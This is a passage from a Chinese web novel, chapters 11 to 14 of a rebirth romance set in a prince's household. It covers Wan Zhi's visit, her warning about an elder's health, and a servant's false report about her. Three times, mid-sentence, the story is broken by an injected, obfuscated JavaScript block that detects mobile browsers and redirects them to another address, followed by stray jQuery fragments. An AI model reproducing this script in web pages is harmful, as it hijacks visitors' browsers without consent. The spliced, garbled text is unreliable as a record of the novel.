“还有,他就是榷安……”
在濉安王妃自作主张下,终于迎来妧枝与商榷安互不情愿地接触。
妧枝迎面抬眸,商榷安似乎并不喜欢这样的安排,拧眉微蹙,继而眼神很是冷漠地看来,仿佛当真与妧枝是头一回认识。
眼里没有丝毫上一世做过夫妻的情分,还依旧是不喜商唯真和她多接触。
只淡淡称呼一声,“妧娘子。”便将更多的目光投注在了商唯真身上。
君子有仪,清风朗朗。
商榷安给予她的,只有无情,和无尽的凉薄。
知道真相的,以为商榷安对妧枝的敷衍,是碍于她已经相看给李三郎李四郎,是保持距离。
不明真相的,便当真以为他们相互不认识。
既如此,做戏要做全,妧枝微微侧过身,用她的蒲柳之姿避开商榷安,转而同商唯真道:“商娘子,幸会了。”
11.第 11 章
茶厅中,气氛微微诡谲怪异。
看着他们二人的濉安王妃等人,表情各不相同,但都略感觉到一丝微妙和疑惑。
周老夫人是根本不知其中内情,即使以她的阅历瞧出些许端倪,脸色却也高深至极,不曾多嘴说什么。
商唯真感触不深,只愣了一下,便同妧枝相互问候。
“妧娘子好。”
旋即下意识向唯一熟悉认识的兄长看去,仿佛一只寻找依靠的雏鸟。
而商榷安果然将其看得很重,护如眼珠子。
不想继续待在这里,道:“唯真刚从竹庄赶来,我先带她回去歇息。”
濉安王妃亦不想未能结成善缘的商榷安与妧枝继续碰面。
她可算看出来了,这二人就是天生八字不合。
一个冷面郎君,一个疏离女郎。
都有自己的骨气和性子,堪称水火不容。
无奈濉安王妃点头道:“好,可要派人替你们收拾屋子?”
商榷安:“不用,已经安排妥当。”
濉安王妃惊讶,濮国公之女刚来,就什么都安排好了,岂不是早之前商榷安就有计划?
就在这时,外边传来几道脚步声,两个外出的身影从庭院里现身,背后还有仆从提着篮子一同走来。
管事婆子定睛一看,“是三郎君和历郡王回来了。”
旁边原本镇定的周老夫人蓦地抬头,居然目露喜色,“常珽啊,是常珽来了。”
妧枝离她最近,几乎挨着,周老夫人一动便影响到她。
她不禁跟着抬眸望过去,门外人影越来越近,面容就越来越清晰。
除了已经见过的李屹其,他身边还有一个男子。
他身量颇高,且笑容和煦,有着一身挺拔且风雅的儒气。
在他们不约而同一脚跨过门槛后。
濉安王妃疑惑问道:“三郎,常珽,你们两个怎么在一起?四郎呢?还没回来?”
李屹其和历常珽进来后在屋中央站定。
然后道:“我去了番邦酒楼,那里的厨子听闻是外邦宫廷出身,来尝鲜的实在太多了,耽误了不少时辰。”
“回来路上就和表兄碰见了。”
“至于四郎,他兴许是有什么事耽搁了,也可能还在赶回来的路上。”
说着,李屹其眼神往茶厅里多出来未曾见过的商唯真身上看了看。
却只因商唯真身旁站的是商榷安,他神情冷淡,不怒自威,李屹其忌于锋芒,最终还是将“这女子是谁”的问题,悄无声息地咽回肚子里。
“这孩子,怎么这般慢呢……”
濉安王妃皱眉,今日妧枝登门,大好的与她相处的机会,三郎和四郎都是她的儿子。
虽不想见到兄弟相争,但总得争取出个结果。
到底是谁来做妧嵘的女婿,好早早将此事定夺了断了。
结果,一个两个都拖了后腿。
倒是这时,周老夫人忽然抬手召唤,“常珽,还不快过来。”
同李屹其一同回来的历常珽面带微笑,早在一进门时就发现了,今日的王府十分热闹。
竟然多了两位未曾谋面的女子。
商榷安身边一位,而另一位让他多看了一眼的,是他外祖母身旁的女郎。
周老夫人可是少有这般和一个女子走得这么近。
历常珽走到距有两步距离的地毯上停住。
“祖母。”
周老夫人骤然压低嗓音:“常珽,快看,这是阿枝,中书侍郎妧家的妧娘子。”
“待字闺中,来做客的。”
历常珽目光与妧枝惊讶相交,似是不明白周老夫人的意图。
濉安王妃刚从思虑中回神,余光一瞥留意到一旁的动向。
在觑见周老夫人不同往日的动静,竟不顾他人在场,跺了跺脚,扬声叫道:“阿姑!”
这一喝声,令茶厅里所有人目光都聚集在了那边。
周老夫人面色镇定,泰然回应,“怎么了?我方才不是说了,我见阿枝,与我投缘。你这般大声做什么?”
“倒真是显得我七老八十,耳聋眼花了。”
“不……”
濉安王妃被倒打一耙,眼睛瞪得更大,张了张嘴,只差要说周老夫人信口雌黄。
妧枝到底是谁家的儿媳妇?
哪有把人叫过去,霸占着的道理?
“阿枝,你过来。”迫于无奈,濉安王妃适时地制止周老夫人再背着她偷偷摸摸继续下去。
如同防贼一般将妧枝唤到跟前。
她挽着妧枝的胳膊,拉着她向众人宣告,“阿枝是给三郎四郎相看的媳妇,虽还未定下来,但是父母之命,媒妁之言,总不能半途更改。”
妧枝未料想还会引发这样的插曲。
她被濉安王妃架着,周围尽数是朝她看过来的目光,这代表着她被濉安王妃认定,且是第一次当众表态,她和王府的关系。
未来儿媳。
可不是谁都能随便染指的。
在场的人都神情迥异,而商榷安眼也未抬一下,容色冷峻,漠不关心。
昭示了妧枝的身份以后,濉安王妃终于舒了口气。
对李屹其道:“好罢,既然三郎都回来了,那就把阿枝交给你照顾了。”
“不过今日天色这样好,”她又邀请其他人道:“你们小辈不妨绕着柳畔湖边走走,正好三郎带了茶点回来,大家可以一同赏景。”
周老夫人沉着表情,似是一点也不高兴。
“阿姑,我们做长辈的,老骨头了,就坐在这里喝点茶说说话,可好啊。”
濉安王妃朝周老夫人无奈示意,一切都安排妥当了。
一把年纪,她可不要再捣乱了。
哪有上门做客,看到未来外甥媳妇,横插一脚的?
“榷安,你和商娘子……”
濉安王妃刚开口,一道宛如击石般干脆沉稳的嗓音拒绝道:“我与唯真还有事,就不参与了。”
商榷安骤然出声,众人不禁朝他和他身边的女子看去。
李屹其在进门起就留意到家中来了新的客人。
尤其还是商榷安领回来的。
眼下终于有机会问:“这位是?”
商唯真略显得青涩,面对比刚才多了许多的目光,抬眸依赖地找到兄长。
而商榷安竟当众把手搭在了她削薄的肩上,仿佛昭示了他将商唯真纳入了自己的羽翼之下,更为她顶开他人的目光,“她叫唯真,是已故濮国公之女。”
“濮国公去世前,我曾答应过要照应好她,如今终于有了空闲,便将她接来王府,以后便住在我的书行居。”
唯真,唯真。
果真是与上一世不同了,上一世为了与商唯真拉开距离,似是不忍染指异父异母的妹妹,商榷安唤商唯真都是唤“小妹”。
如今身上一没了与妧枝的亲事,便如若没了桎梏他的枷锁,让他大可以和商唯真修成正果。
“原来是商娘子。”
对商唯真,李屹其似乎意有所耳闻,商榷安被过继出去的人家,的确还有一个被收养的女儿。
一年前,本以为被认回王府的商榷安会把人一起带回来。
结果来到王府的只有商榷安自己,以及两个作为他左右臂膀的长随。
招呼已经打了,商榷安淡淡逡巡一圈在茶厅里的人,在目光掠到李屹其和妧枝时,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120738|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似有意避开他们。
很快挪开目光,“唯真,我送你回后院歇息。”
商唯真点头,随即有礼地向濉安王妃和周老夫人她们告辞。
随后走到了妧枝跟前,“妧娘子。”
妧枝觑见商唯真一接近她,商榷安眸光就会微微凌厉起来,像是怕她会欺负了他的心上人,亦或是说出什么话,冒犯了商唯真。
毕竟,他与妧枝虽无瓜葛,但因为东林寺相看,却也闹了几场风波。
可以说是面上风平浪静,背地里却暗潮汹涌。
结了梁子。
商唯真却腼腆含笑道:“我好像见过妧娘子……当时妧娘子身边还有一位年长的妇人,不知道我有没有记错。”
那就是妧枝跟商榷安重生回来那日。
妧枝跟他纷纷避开彼此,不想再有交集,没想到还是让商唯真注意到她了。
妧枝张开嘴,发现商榷安眸藏凛光,宛若巡视的游隼,忽地跟了过来。
像是在防备她会不会对商唯真乱说话。
“没有记错,”妧枝忽略掉那咄咄逼人的视线,语气很淡地道:“那是我母亲。”
“那日我陪她到东林寺礼佛,不过,商娘子怎么会知道?”
商唯真:“那应当是同一天吧,我也去过东林寺。”
说着含羞看了商榷安一眼,“父亲去世一年了,我心中总是放不下,榷安阿兄便陪我一同去那上香祈福……”
这么说,商榷安是用了商唯真做理由,才逃开了观音院的相看。
妧枝对他们之间关系的变化恍若未觉。
“原来如此。”
场面顿时微微尴尬,濉安王妃知悉内情,却不知那天商榷安是跟商唯真在一起。
心中对他俩的事感到惊讶,同时在听见这番对话后,自觉好像更亏欠妧家了。
不,应该说是妧枝。
她神情越发淡定,就越显得他们这边不占道理。
好好的相看之日,不去见议亲的女郎,却去陪了其他女子?
可是濉安王妃错眼一看,做出这等事的商榷安即使见到真相暴露,依然无动于衷,一点愧色都没有。
然而相比起妧枝的矜持,商唯真却稍显热络,对旁的事情并未察觉太深。
还道:“那就不打扰了,我先同榷安阿兄下去歇息,日后有缘,再与妧娘子交个朋友。”
那边商榷安仿佛时刻等待着商唯真,只当她一开口便侧了身,一副与他人划开界限泾渭分明的姿态。
妧枝未应,只微微颔首,点了点头。
然后垂眸不语。
商唯真却有一丝高兴,连走向商榷安的脚步都是小女儿家的雀跃。
想来他们上辈子,也许一个郎有情,妾有意,却因为她一个妧枝而不能在一起。
今生没了这块碍脚石,这对有情人终于能终成眷属了。
茶厅倏然微微冷清,只剩濉安王妃和周老夫人等在这里。
赶在周老夫人惹出幺蛾子前,濉安王妃道:“阿姑,既然三郎都回来了,就别打扰他们了。”
“不如你跟我去后院,我有话和你说。”
周老夫人面露不情愿,然而濉安王妃紧紧抓着她的手臂,强硬招呼,“对了,常珽,你姨父不在府上,可要我另外安排人照顾你?”
历常珽哂笑:“小姨母见外了,我岂是头一次来。”
他左右看看。
抬手道:“不必另外安排了,今日气候好,我这就去外边走走。”
历常珽走后,濉安王妃一颗心仿佛终于放下了。
拉着周老夫人,“阿姑,我们也走吧。”
屋中渐渐清空,留下妧枝和李屹其在此。
12.第 12 章
“妧娘子。”
在下人打开的食盒面前,李屹其端了一碟点心给她,“为了这些吃食我回来晚了,本该亲自在你来时招待你。”
“可还是估算错了时辰,先前阿母和姑祖母代为招待你,没有令你为难吧?”
“不曾。”
“是吗,那就太好了,不过,”李屹其:“我怎么发现阿母和姑祖母似乎闹了嫌隙?”
“还有我那大兄竟也在此,他没与你说什么吧?”
李屹其话中有着惊叹,妧枝对那碟放在她跟前的点心动也未动,随即眸光幽幽对准这位王府的三郎君。
她仿佛一下就将他看透了。
李屹其在试探,想知道在他回来前,茶厅里具体发生了什么事。
尤其有商榷安在,他可是本应该跟妧枝议亲的人。
妧枝:“老太君和王妃一直如此,姑侄间怎会有嫌隙呢?三公子定然是误会了。”
“至于其他人,我不了解。”她摇了摇头。
紧盯着妧枝的神情,观其态度只提周老夫人和濉安王妃,对其他人都避而不谈,可见即使商榷安跟她见面,也并没有让这位妧娘子春心大动。
即使李屹其不愿承认,但事实的确如此,商榷安的前途比他们任何人都要开阔。
其相貌亦非寻常之流,与他在一起,就连家中长辈亦只先看他一眼。
是以李屹其很想看看,在原本议亲人选是商榷安的情况下,这位妧娘子在见到他本人后,是否会心生后悔,最终换了这门亲。
然而出乎意料,寻常女子见了商榷安都会忍不住倾心,而妧枝却始终漠然置之。
这让李屹其骤然心情大好,看吧,也不是所有人都觉得他这位大兄是个香饽饽。
“妧娘子,这是我特意带回来的点心,你怎么不吃啊?”
见妧枝滴水不沾,纤指未动,李屹其主动拿起一块,正要劝说她尝尝。
却听妧枝忽而站起身道:“我肚子有些不舒服,先告辞一下。”
她捂着腹部,一眼就能觑见缠着细腰的腰带,面色楚楚。
李屹其本该不悦,却在见到她此刻模样后,那些不快都烟消云散。
他主动起身照顾,“妧娘子,可要我为你带路?”
“不,我自己去就好了,不必劳烦了。”
妧枝果断拒绝,李屹其以为她是羞涩,且人有三急,小娘家的,让男子知晓了总难为情。
他通情达理地道:“那,屹其就在此等候了。”
“有什么需要就遣婢女来说……”
他作派自忖有礼,妧娘子既不想他跟着,他便让她自己去方便,这行举放在哪个儿郎身上应该都是贴心得体的。
他不信,比上不足比下有余,同样是王府子弟,他会得不到一个女子的芳心。
妧枝头也不回地跨出门槛,对李屹其说的话充耳不闻。
这个李家三郎可谓是商榷安这帮兄弟中最木的,论讨人欢心,其实都以为四公子李含翎最擅其道。
却不知,他们当中最为情种的,是他们个个都想成为的大兄。
但商大郎君想讨好的人,从来不是妧枝。
同样的东西到了妧枝和商唯真手里,势必他视如眼珠的“小妹”是宝,而妧枝,充其量不过一根杂草。
撬动不了一点真心,亦得不到一记微笑。
那种独一无二,视一个女子为特例的模样,方才令大半女子神魂颠倒。
“妧娘子,已经到海棠春坞了,茅房不在那边。”
在妧枝离茶厅越来越远时,跟了她一路,见她一直在出神的婢女终于忍不住开口提醒。
妧枝不惊不慌地眨了下眼,脚步在路上停下。
“我想起来,肚子忽然好了,不痛了。”
她环顾四周,让婢女以为她是被此处风景吸引,“原来这里叫海棠春坞,怪不得景色宜人的很。”
“我就在此处逛逛,你且不用跟着我了。”
婢女:“可……”
妧枝回眸,“怎么,王府难道这般吝啬,连这等景色也舍不得让客人欣赏么?”
她岂是寻常客人,而是贵客。
指不定是未来的三夫人或四夫人。
可被派来盯人的婢女还是道:“三郎君有令,让奴婢看顾好妧娘子,他还在茶厅里等着呢。”
她笑笑,“哦”了一声。
“那就是你们三郎君在等候,我便逛不得这里了。”
就是为了躲开李屹其,妧枝方才寻了个借口出来透口气。
如今好不容易得逞,她如何肯再回去受李三郎君的殷勤。
婢女闻言,感受到妧枝身上传递来的威势。
据说这位娘子家里也不是比得上王府的门第,怎会还未嫁进门来,说话就跟曾经在王府当家做过主一样。
未免将她得罪个彻底,婢女道:“那我就在此等候,女郎可尽管赏景,若有吩咐,只消喊一声就行。”
话音刚落,再抬头时,只看见妧家娘子消失的裙摆的身影。
海棠春坞正是花开的时候。
妧枝选了条小道,顺着栽满树的小山峰一路往上,已经将跟着她的婢女远远抛在身后。
她知道此处上面有间坐看风雨亭,待到她清闲歇息一会,下了山就可以向濉安王妃请辞,告别这里。
然而再即将到达时,一道足影刚好抵在最后一层台阶,挡住妧枝去路。
二人倏地动作一静,一个向下俯视,一个朝上抬眸。
在看清对方面容后顿在原地,面面相觑。
瞬息过后,上面的人缓缓往旁边退了两步,给妧枝让出一条路。
“多谢。”
来人收起扇子,拱了拱手,站到一旁耐心等妧枝上来。
在她稍微觉得吃力时,妧枝脚下一颤,对方立即伸出手搭救,拉了她一把,方才避免她从高处掉下去。
“此处地势高,山峰虽小,却也险峻,妧娘子该当心脚下,免得伤了自己。”
妧枝借着他的帮助在路面上站稳了身子,然后与对方拉开距离,缓和胸脯中急促的呼吸。
“台阶太高,是我疲乏了,多谢郡王出手相救。”
历常珽目光微微从那张白里透红娇艳的脸上挪开,安慰一句:“举手之劳罢了,妧娘子没事就好。”
随即他环顾一圈,问:“怎么只有妧娘子一个人?没叫婢女跟着吗。”
“三郎呢?”
妧枝气息渐渐恢复平静。
淡声道:“他在茶厅,我觉着气闷,便想出来走走,没有叫人跟着。”
偌大的坐看风雨亭就在眼前,有着居高临下一览众山小的气势。
支撑着它的山峰周围并无遮掩,只有一两棵树扎根在土里,稍微往下眺望就能看到下面的荷花榭和春海棠。
此处除了历常珽和妧枝就再无别人。
二人头一次见面,堪称陌生,而妧枝又是三郎和四郎的未来妻子,理当避嫌。
历常珽点头应道:“原来如此。”
“那妧娘子先去亭子里坐着歇息,本王就不多叨扰了,先行一步。”
说着正要台阶往下走。
然而,看着他身影准备离去的妧娘子不知想到什么,神情微动。
于是倏然将人叫住,“还请郡王留步。”
历常珽身形一顿,惊讶回头。
妧枝怎么也想不通,上一世周老夫人是怎么去世。
观她身子骨,虽然上了年纪,但也是颇为硬朗的一个人。
怎么都不可能是突发暴毙,今日虽第一次见,但对方很好照顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15130896|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了她,又为她缓了尴尬之急。
就当是报恩,还一份人情,怎么也该提醒一下。
也算是,为今生的自己行善积德了。
这般想着,妧枝上前拉近与历常珽之间的距离。
她步履缓缓,身姿又是凹凸有致的,即使那双眉眼神色疏淡,但还是否定不了她是个美人。
尤其盈盈双目,好似含着雾,秋波四起。
山峰之下,在一榭之隔的长廊中,有人举目眺望,正好将这一段尽收眼底。
然后面露一丝古怪,在此匆匆离去。
书行居。
枕戈刚从门口进来,便闻到一阵药香,廊檐下有曾在竹庄见过的婢女蹲在小火炉旁,正在煎药。
他走近问:“是不是唯真娘子又病发了?难道上回染上的风寒还没好?”
“不,这是补药,大郎君吩咐给娘子熬的,说是请了宫里的圣手苏御医配的药方,用来补身子。”
说罢,婢女感叹,“大郎君待娘子还真上心。”
枕戈表示,“你且不瞧瞧,大郎君跟唯真娘子是多少年的情谊,要不是当初……”
“罢了,既然大郎君将你送到唯真娘子身边,你可要好生照料才是。”
然后左右看了看,“我还有事,先进去了。”
屋中,枕戈刚大步走进室内,就看到窗户边一对人影依偎在一起,不禁愣在原地。
商榷安坐在一张椅子上,他身旁是紧贴着他胸膛不知不觉昏睡过去的女子,在有人进来时,商榷安便抬头了。
黑眸精准而锐利地盯着门口,眼神制止,手指抵在唇间,“嘘。”
枕戈顿时立在原地,进也不是,退也不是。
只能眼睁睁看着大郎君垂眸看了怀中人一眼,然后在下一瞬间,扶着商娘子的腰,缓缓将人从怀里抱了起来,送到屋内的软榻上。
期间还细心替对方整理了下拂到脸上的发丝,十分温柔体贴地盖上一件属于他的外袍,免得商娘子着凉。
待到做完这一切,商榷安方才起身朝等候已久的下属走来。
在他心中,仿佛商唯真是他的命根子,视若珍宝,易碎易断。
等到走出这间屋子,站在门外,商榷安才同身后跟来的人道:“何事?”
枕戈:“回禀大郎君,张大人那边按照吩咐,截获了乱党的密报,不过却在传出去的当晚被人下了药。”
“好在是之前得了大郎君的提点,有做防备,这才捡回一条性命……他还称大郎君料事如神,若有机会,定然另行报答之恩。”
自重生回来,商榷安清楚上一世哪一节点发生了什么事,也就知道该防范哪些意外。
就如商唯真,上辈子商榷安自觉在京中羽翼未满,根基不牢,于是没有那么早将她接回京中。
以至于她在流寇骚扰竹庄时受了惊,因为风寒伤到了身子,一直未愈。
而在这一世,商榷安自然不允许曾经出现过的意外再次发生,于是安排人去了竹庄将流寇们血洗。
又亲自将商唯真接回了王府。
这世上哪有什么料事如神,不过都是想要挽回的遗憾。
而他不会让过去,再次重演。
商榷安:“我知道了,让张弛养好伤,其余之事日后再谈。”
此刻禀告完重要消息,枕戈本该要走。
然而他面露迟疑,好似在为什么为难。
商榷安:“你还有什么事要禀?”
他一瞬间恢复清醒,小声道:“还有一件事,属下不知当讲不当讲……”
“说。”
一得到应允,枕戈立即道:“属下方才从外面回来,路径荷花榭时,觑见历郡王和妧家那位大娘子在一起。”
“且那位妧娘子,姿态主动,对历郡王颇为殷勤。”
13.第 13 章
小小的山峰之上,可揽整个园子里的景色,树木葱茏,鸟叫声宛若宫商。
妧枝在将人叫住后,走到历常珽跟前。
距离拉近后,历常珽在愣怔之后回神过来,眼神略有一丝闪躲的迹象。
似是不知该看向哪儿。
“妧娘子,你……”
妧枝一心想着周老夫人过世的事情,对此一无所觉。
又或许是因为上辈子在王府里见过历常珽的关系,甚至二人还能在见过面后,续一杯热茶。
一时忘了如今她对历常珽来说,不过是个第一次见的女子。
且她算是身负婚约,这般近距离,有点不太合规矩。
然而话音未落完。
只听妧枝道:“敢问郡王,老太君身体可好,平日可有患疾?”
历常珽神色微动,游移的眼神从疑惑惊讶,重新回落到妧枝身上,仔细打量她。
“妧娘子这是何意?”
冒然打听旁人家里长辈的身体状况,实则也是件冒犯的事,但观刚才的意外,再端详面前女子的神态,历常珽莫名觉得对方并非是他想的那样的人。
于是放下介怀,平心静气地道:“我祖母她身体康健,食的干净,平日睡得也安神。不患疾,有何不妥吗?”
妧枝一听便知历常珽误会了。
她此举虽然算得上冒犯,但别无恶意,历常珽不信任她或抱有怀疑亦是正常。
“不,我只是方才在茶厅时,看到老太君面色有些不好,有一刻呼吸略有些沉重,手还无意识轻抚心口,所以想提醒郡王罢了。”
若能挽救这一世周老夫人的性命,即使惹得对方生厌,也无所谓。
“我虽不是习医之人,但家中也有人患疾,后来常与大夫接触,听他们言,有些人看似身子骨康健,面上不显,却不代表五脏六腑内里无事。”
“尤其上了年岁的老者,最易突发险情,最好请大夫把脉诊断一段时日,小心为上。”
妧枝说完,定定看着历常珽,警示意味浓烈。
意想不到这个初见一面的女子,竟然会这么关注自家祖母的身体状况,历常珽在感觉到一丝怪异之时,点头道谢。
“多谢妧娘子关心,本王会多加留意的,叫妧娘子费心了。”
若不是妧枝言语恳切,神态并未有一丝玩笑,只怕换个人来,早已被当成那费尽心思,谄媚他人的女子了。
话已说完,妧枝也不确定历常珽是否真的会往心里去,就只能顺其自然了。
“那我就不打扰郡王了。”
她让开从山峰下去的位置,施施然行了一礼,就从历常珽面前转身,往坐看风雨亭走去。
方才历常珽的态度,妧枝亦能察觉出味儿来。
倒也正常,换做任何人被陌生人叫住,又叮嘱几句,难免多想。
但她到底不是那等上赶着的女子,也许曾经那么做过。
可而今此刻,她只是想要帮这个忙。
就当还了他上辈子的恩情。
身为濉安王妃的外甥,上辈子历常珽是少数向她伸出过援手的人,得知她兄弟姊妹的遭遇,私下里,历常珽悄悄命人施予过一些钱财。
那堪称雪中送炭,自打妧嵘同情人住在一起,再也不归家,他的俸禄也不再送往家里来了。
平氏等人断了粮,已经开始典当自己的首饰了。
可她还有重病在身,妧柔长大又要添衣,家中用例收紧,她好久不裁新衣裳,开始翻出妧枝的衣柜,套上姐姐曾经穿的衣服。
妧酨更不用说,吃穿用度一落千丈,在官学里受了周遭不少嬉笑侮辱。
这些最初他们都不曾让妧枝知晓,只因妧枝那时是他人的媳妇,不想拖累了她。
在王府,大夫人妧枝能拿得出接济平氏他们的钱并不多,她的名头只是好听,每一笔往来走的支出都得经过王府里的账房。
因她与商榷安夫妻感情只剩个名头,更插手不到他的私库,妧枝就只能用自己的嫁妆换了钱财补贴家里。
后来实在典无可典,妧家的家事败露,不仅王府里的人瞧不起,她的丈夫对她亦是冷漠以对。
就在这时,有一包金银送到了平氏手里。
妧枝打探消息过去,正好查出了来雪中送炭的,是出自郡王府的下人。
所以即使这辈子历常珽无论对她怎么想,妧枝都心存感激。
通往山峰下的路口处,历常珽注视着腰脊挺直,说完就走的娇丽女子,思忖片刻,随即转身下了台阶。
然而在最下方,山石遮掩的地方,一个婢女趴在入口,在看见上方有人下来后,飞快地沿着山脚离开了此处。
茶亭内,杯茶换过三五盏,李屹其在屋中等候多时。
就在他等得颇有不耐烦时,终于门口有人从外面进来。
他整理好神色,抬头正要招呼,“妧娘子……”
然而跨进门的却与他想的不同,“怎么是你?妧娘子呢?”
偷跑回来的婢女扶着心口,不停喘着粗气,“奴婢,奴婢有事要向三郎君禀告。”
“妧娘子她,她……”
坐看风雨亭不愧是王府位置最高的地方,能观遍疏朗天色,云卷云舒,甚至其他地方的景观亦能或多或少觑见。
待到时辰差不多时,觉得该告辞了的妧枝从亭中的排椅上缓缓起身。
回到茶厅,屋内不仅有李屹其在,濉安王妃和周老夫人还有历常珽居然罕见都在。
不知为何,妧枝一进门就发觉这位王府三郎君,看她的眼神隐隐约约变得不大对劲。
莫非是因为她故意从茶厅里逃开,让他在这等了近乎半刻时辰,于是引得他心中不满了?
“阿枝回来了。”濉安王妃招呼道。
“三郎说你身体不舒服,怎么去了这么久?现在如何啊,可好些了?”
妧枝:“方才在茶厅觉着心里闷,出去走走后好多了。”
“多谢王妃关心。”
看起来濉安王妃神色如常,并无不妥,还和先前一样,“没事就好,否则府里就要请大夫来为你诊治了。”
“那倒不必那么麻烦,只是小事。”
说着,观察此时时机。
在此的都是王府的主人和亲戚,只得妧枝一个外人。
她道:“我来是向王妃和三郎君请辞的,时候不早了,我该回家去了。”
“这么早?”周老夫人在旁惊叹,不知濉安王妃同她在后院里说了什么。
妧枝方才进来时,她并没有表现得十分热络,比起之前的热情,似有收敛。
濉安王妃:“是啊,就快到正午了,不如留在府中等用过午食再走?”
妧枝摇头婉拒:“父亲有令,家中规矩,不可随意在旁人家里用饭,以免打扰主家。”
想起妧嵘的为人和性子,濉安王妃知道对方是个性气高的。
养的女儿定然对父命极为尊崇,“你太客气了,我们哪里是旁的人家,将来也是一家人。”
濉安王妃宽慰一句,见妧枝去意已定,也不再阻拦。
“那好吧,既然你要走,便把这些茶点也带上,这些可都是三郎专门为你买来的。”
“我已吩咐好下人,都为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148414|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你包好了。”
话毕,就有婢女提着食盒站到妧枝身后,要送她出府。
妧枝:“多谢王妃,三郎君。今日登门,我亦有一样礼物赠予诸位。”
她抬眸对着管事婆子道:“还要劳烦张管事走一趟,去找我家的马夫,把我带来的礼物拿过来。”
管事婆子与妧枝对上眼的瞬间很快应下,“是。”
然后惊讶地看着妧枝,怎么有一刻,她甚至以为这位妧娘子是府里的主人。
这吩咐的语气实在太顺口了些。
然而妧枝神色平静,周围人也未说些什么,管事婆子只好奉命行事,前去妧家马夫那里知会。
待到拿到妧枝要的东西,送到茶厅,已经过了一刻的功夫过去。
礼物摆在桌上,由妧枝打开,露出里面的小小瓶罐。
她打开其中一个,向濉安王妃和周老夫人展示,“这是梨花膏,前几日家中梨花开遍庭院,我便仿照登鹊楼的胭脂,收集起来做了这个。”
“这膏添了药材,有养肤润颜之效,是我专门用来孝敬长辈的,家中贫寒,回赠不了王妃之前给我的重礼,只能以此表示心意。”
未曾想妧枝会直白道出这番话,在众人中,历常珽看着她的目光里再次多丝诧异。
其实只要向街坊邻居稍加打听,便可以知晓妧家在京中的作风。
是稍有资产,却比过大户,又要保持衣食住行不被外人瞧出窘迫的作派。
可称之为喜好颜面,强撑起一丝风光。
内里与家产丰厚的人家比,清贫是真的清贫。
但是怎么说,身为妧嵘的女儿,这位妧娘子也应该有同样的虚荣心才是,可这般大大方方承认,倒是让人对她加以改观许多。
贵的物什,以妧枝如今的能力,她实在拿不出来。
平氏觉着濉安王妃赠了妧枝玉镯,还未真正定亲,着实不好。
妧嵘那里还有两幅价值连城的宝画,都让她觉得过意不去,于是想着该如何回礼。
妧枝便只有力所能及做点自己能做的。
“礼已送到,那我就先告辞了。”妧枝从茶厅里转身离去。
而周老夫人和历常珽则待在濉安王府中,直到吃过了午食,临到入夜方才回去。
夜晚京中大户人家灯火灼灼。
商榷安从书行居走出,因公事需要外出一趟,在离大门远处的地方,路径正堂。
一道物品碎裂的声音轰然传来,随即一个破了一半的瓶罐滚到门槛处。
还有零星半点碎片溅到他脚下,商榷安立时停住脚步。
只听正堂内的人耻笑道:“这等低劣的玩意也值得送人?为人诚实,品行端庄?阿母可别被这妧枝骗去了。”
“此女不过是假清高!”
“今日就有人看到她口口声声说肚子不舒服,不肯让婢女跟着她,实则是去了坐看风雨亭那里,攀炎附势,去讨好了表兄。”
李屹其手一指跪在地上的婢女,“云竹,你来说,此事是否当真,你亲眼所见?还是有半点虚言?”
上午跟随妧枝在庭院里走动的婢女被吓得摇头慌道:“奴婢不敢撒谎,都是奴婢亲眼所见。”
“妧娘子说不舒服,奴婢想领她去茅房,可是走到半路妧娘子又说自己没事了。奴婢提醒她,三郎君还在茶厅等着,妧娘子却偏要逛逛不肯回来,于是抛下奴婢就走了。”
“然后就看到,就看到妧娘子和历郡王碰在一起,妧娘子她,十分主动……”
门外,破碎的瓷瓶静静安躺在地上,脂膏暴露,唯有空气中散发出淡淡梨花香。
14.第 14 章
出了濉安王府,在夜行的马车中,周老夫人和历常珽对坐在两旁。
车窗半开,可以看到途径的夜市人满为患,街头到巷尾都散发着人间烟火气。
待到有风吹进来,有一丝凉意,周老夫人咳了咳,历常珽立时便关上窗。
然而周老夫人道:“关上作甚,外边儿多热闹,我还没看够呢。”
历常珽:“历来街上就是如此景象,祖母怎会没看够呢?春还料峭,还是别吹凉了。”
“你今日倒是奇怪,竟然关心起我的身子来了。”
周老夫人讶异地看向外孙子。
既然打开话匣子,周老夫人说:“你且用不着担心我,我老婆子即使一把年纪,可能走能走,能睡能吃,还有一把力气,可硬朗着。”
“你还是多关心关心你自个儿的终身大事,免得叫我这老婆子心中老是惦记。”
历常珽似是近来也被说的耳朵起茧了,立时苦笑一声,“祖母,缘分不可强求。”
然而周老夫人一听他这话,便如春耕中的老黄牛,浑身都受刺激般,有了劲儿。
